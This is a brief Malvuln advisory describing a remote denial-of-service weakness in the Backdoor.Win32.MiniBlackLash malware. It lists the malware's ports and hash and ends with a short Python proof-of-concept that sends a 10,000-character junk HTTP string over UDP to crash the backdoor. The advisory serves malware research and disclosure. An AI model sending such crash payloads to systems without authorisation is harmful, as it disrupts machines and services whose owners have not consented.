Backdoor.Win32.MiniBlackLash malware suffers from a denial of service vulnerability.
c1db00d324b6ac51dca2d3d86731ecb6Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/57dee3430d4531a2699f6520819a2ece.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.MiniBlackLash
Vulnerability: Remote DoS
Description: MiniBlackLash listens on both TCP port 6711 and UDP port 60000. Sending a large HTTP request string of junk chars to UDP port 60000 will crash this backdoor.
Type: PE32
MD5: 57dee3430d4531a2699f6520819a2ece
Vuln ID: MVID-2021-0060
Disclosure: 01/28/2021
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=60000
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
PBARBAR="A"*10000+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PBARBAR)
s.close()
print("Backdoor.Win32.MiniBlackLash / Remote DoS");
print("MD5: 57dee3430d4531a2699f6520819a2ece");
print("By Malvuln");
if __name__=="__main__":
doit()
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